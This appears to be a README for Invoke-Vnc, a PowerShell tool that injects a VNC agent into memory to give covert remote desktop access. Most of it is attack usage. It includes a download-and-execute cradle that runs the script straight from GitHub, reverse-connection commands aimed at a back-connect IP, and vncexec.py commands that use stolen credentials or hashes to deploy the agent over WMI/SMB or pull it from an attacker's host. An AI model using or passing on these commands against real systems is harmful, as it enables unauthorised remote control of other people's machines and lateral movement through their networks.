Invoke-Vnc - a powershell VNC injector

Invoke-Vnc executes a VNC agent in-memory and initiates a reverse connection, or binds to a specified port. Password authentication is supported.

Usage example

Invoke locally:

Import-Module Invoke-Vnc.ps1
#Reverse VNC connection
Invoke-Vnc -ConType reverse -IpAddress <backconnect_ip> -Port 5500 -Password P@ssw0rd
#Bind VNC connection
Invoke-Vnc -ConType bind -Port 5900 -Password P@ssw0rd

Invoke over net:

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/artkond/Invoke-Vnc/master/Invoke-Vnc.ps1')
#Reverse VNC connection
Invoke-Vnc -ConType reverse -IpAddress <backconnect_ip> -Port 5500 -Password P@ssw0rd
#Bind VNC connection
Invoke-Vnc -ConType bind -Port 5900 -Password P@ssw0rd

Launch VNC listener to catch reverse VNC connection:

vncviewer –listen <port>

Execute agent remotely via WMI

If you have authenticated access (password, nt hash or kerberos ticket) to the machine, you can use the vncexec.py script to execute the VNC agent.

Upload an encoded ps1 script as a bat file via SMB and execute the agent to bind a VNC port on target:

vncexec.py -invoke-vnc-path Invoke-Vnc.ps1 -contype bind -vncport 5900 -vncpass P@ssw0rd -method upload user:pass@target_ip

Download the script via HTTP from the attacker's host and execute the agent to get a reverse VNC connection:

vncexec.py -bc-ip <attacker's_host> -httpport 8080 -invoke-vnc-path Invoke-Vnc.ps1 -contype reverse -vncport 5500 -vncpass P@ssw0rd -method download user:pass@target_ip

Script depends on a recent build of impacket library. Get it at https://github.com/CoreSecurity/impacket

git clone https://github.com/CoreSecurity/impacket
cd impacket
sudo python setup.py install

Build notes

Project is built using Visual Studio 2013. To successfully build the solution you need python to be available at C:\Python27\python.exe. Both x86 and x64 configurations must be built in order to update Invoke-Vnc.ps1 script.

To-do

• Fix session tracking

Author

Artem Kondratenko https://twitter.com/artkond

Credit

Repo is based on the following projects:

• https://github.com/rapid7/metasploit-framework/tree/master/external/source/vncdll
• https://github.com/CoreSecurity/impacket/tree/master/examples
• https://github.com/stephenfewer/ReflectiveDLLInjection
• https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1